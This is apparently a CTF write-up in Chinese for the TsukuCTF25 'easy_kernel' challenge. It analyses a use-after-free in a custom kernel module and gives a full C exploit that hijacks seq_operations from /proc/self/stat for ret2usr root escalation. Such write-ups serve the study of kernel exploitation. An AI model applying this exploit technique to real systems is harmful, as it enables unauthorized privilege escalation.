Last updated on 2025-05-07 00:41:03 +08:00
Challenge

flag在/dev/sdb,只有root可以讀取到
本題附檔有給源代碼
本題沒有開啟kpti,沒有開啟kaslr(內核的東西位址都固定)
1 2
| ~ # cat /proc/cmdline root=/dev/sda rw init=/init console=ttyS0 nokaslr nopti loglevel=0 oops=panic panic=-1
|
本題的CPU也沒有支援SMEP跟SMAP,所以內核態可以訪問/執行用戶空間的數據
1 2
| ~ # grep -E 'smep|smap' /proc/cpuinfo ~ #
|
本題Linux 6.14.2,prepare_kernel_cred(NULL)已經無法直接或取init_cred,但沒開kaslr,所以可以直接找到init_cred的位址然後commit_creds(&init_cred)
掛載題目磁碟映像
本題的磁碟映像在rootfs.ext3,用以下指令就可以掛載到系統上
1 2
| sudo mkdir /mnt/ext3 sudo mount ./rootfs.ext3 /mnt/ext3
|
直接cd /mnt/ext3在裡面編寫及編譯exploit就可以了
Analyze
init
題目會載入自製的kernel modulevuln.ko,後面會針對它做分析

vuln.ko / init_module
會註冊一個設備/dev/vuln
1 2 3 4 5 6
| static int __init module_initialize(void) { if (misc_register(&vuln_dev) != 0) { return -1; } return 0; }
|
vuln.ko / cleanup_module
拿掉設備/dev/vuln,並摧毀互斥鎖module_lock
1 2 3 4
| static void __exit module_cleanup(void) { misc_deregister(&vuln_dev); mutex_destroy(&module_lock); }
|
vuln.ko / module_ioctl
在開始操作之前,會先把互斥鎖module_lock上鎖,操作結束之後才會把module_lock解鎖,所以race condition是沒有了
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24
| static long module_ioctl(struct file *file, unsigned int cmd, unsigned long arg) { request_t req; long ret; if (copy_from_user(&req, (void *)arg, sizeof(req)) != 0) { return -1; } mutex_lock(&module_lock); switch(cmd) { case CMD_ALLOC: ret = obj_alloc(); break; case CMD_WRITE: ret = obj_write(req.data, req.size); break; case CMD_FREE: ret = obj_free(); break; default: ret = -1; break; } mutex_unlock(&module_lock); return ret; }
|
這裡有三種操作可以做
- CMD_ALLOC(0xf000) - 如果指針
obj是空指針,就會kzalloc一塊struct obj大小(0x20)的記憶體,把位址存到全域變數指針obj
1 2 3 4 5 6 7 8 9 10
| static long obj_alloc(void) { if (obj != NULL) { return -1; } obj = kzalloc(sizeof(struct obj), GFP_KERNEL); if (obj == NULL) { return -1; } return 0; }
|
- CMD_WRITE(0xf001) - 如果指針
obj不為空指針,而且size(寫入資料大小)不超過struct obj的大小(0x20),就可以把資料data寫入obj指向的記憶體
1 2 3 4 5 6 7 8 9
| static long obj_write(char *data, size_t size) { if (obj == NULL || size > OBJ_SIZE) { return -1; } if (copy_from_user(obj->buf, data, size) != 0) { return -1; } return 0; }
|
- CMD_FREE(0xf002) - 把
obj指向的記憶體free掉,但沒有清空指針,造成UAF,可以搭配CMD_WRITE攻擊。但因為CMD_ALLOC會檢查obj是不是空指針,所以一旦CMD_FREE之後就不能再進行CMD_ALLOC(操作會失敗),在這個vuln.ko中只能kzalloc一次
1 2 3 4
| static long obj_free(void) { kfree(obj); return 0; }
|
Solution
因為只能kzalloc一次,所以劫持freelist的就別想了。
在Linux中,open一個/proc/self/stat時,內核會從heap分配一個0x20大小的記憶體,當成struct seq_operations用
https://elixir.bootlin.com/linux/v6.14.5/source/include/linux/seq_file.h#L31
1 2 3 4 5 6
| struct seq_operations { void * (*start) (struct seq_file *m, loff_t *pos); void (*stop) (struct seq_file *m, void *v); void * (*next) (struct seq_file *m, void *v, loff_t *pos); int (*show) (struct seq_file *m, void *v); };
|
而readproc/self/stat時,內核會調用到seq_read_iter()
https://elixir.bootlin.com/linux/v6.14.5/source/fs/seq_file.c#L171
1 2 3 4
|
ssize_t seq_read_iter(struct kiocb *iocb, struct iov_iter *iter)
|
先看到這邊,struct seq_file的memberop就是一個指向struct seq_operations的指針
https://elixir.bootlin.com/linux/v6.14.5/source/include/linux/seq_file.h#L16
1 2 3 4 5 6 7 8 9 10 11 12 13 14
| struct seq_file { char *buf; size_t size; size_t from; size_t count; size_t pad_until; loff_t index; loff_t read_pos; struct mutex lock; const struct seq_operations *op; int poll_event; const struct file *file; void *private; };
|
回到seq_read_iter(),m就是一個指向struct seq_file的指針。
在Ln225中,會呼叫m->op->start的function
https://elixir.bootlin.com/linux/v6.14.5/source/fs/seq_file.c#L225
1 2 3 4 5
| struct seq_file *m = iocb->ki_filp->private_data; ...
p = m->op->start(m, &m->index); ...
|
因為這題沒開KPTI、SMAP、SMEP,可以訪問/執行用戶態數據,所以可以寫userspace shellcode打ret2usr(難怪會叫easy_kernel,這年頭沒人保護全關了)
總結以上,若我們
- CMD_ALLOC一個0x20大小的記憶體之後,CMD_FREE掉它
open("/proc/self/stat", O_RDONLY),內核alloc一塊0x20的記憶體當成struct seq_operations時剛好申請到上一步時候free掉的記憶體,就會有一個struct seq_operations落入我們的控制
- 透過UAF,CMD_WRITE對這個已經被當成
struct seq_operations的記憶體做寫入,把start改成userspace上的shellcode的位址
- read
/proc/self/stat時,呼叫m->op->start,成功跳到shellcode上,就可以做提權
Exploit
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61
|
#include <stdio.h> #include <stdlib.h> #include <unistd.h> #include <fcntl.h> #include <string.h> #include <sys/wait.h> #include <sys/stat.h>
typedef struct { size_t size; char *data; } request_t;
size_t commit_creds = 0xffffffff812a1050; size_t init_cred = 0xffffffff81e3bfa0;
int (*commit_creds_kfunc)(void *cred);
void ret2usr_attack(void) { commit_creds_kfunc = (int (*)(void*)) commit_creds;
(*commit_creds_kfunc)(init_cred); }
int main() { int fd1 = open("/dev/vuln", 2);
request_t req; ioctl(fd1, 0xf000, &req); ioctl(fd1, 0xf002, &req);
int fd_proc = open("/proc/self/stat", O_RDONLY);
req.size = 32; size_t *buf = malloc(32); for (int i = 0; i < 4; i++) buf[i] = (size_t) ret2usr_attack; req.data = buf; ioctl(fd1, 0xf001, &req);
char bp[8]; read(fd_proc, bp, 8);
if (getuid() == 0) { puts("[*] Success"); system("/bin/sh"); } else { puts("[x] Failed"); }
close(fd1);
return 0; }
|

Flag: TsukuCTF25{n0w_u_learned_h0w_to_turn_UAF_int0_r00t}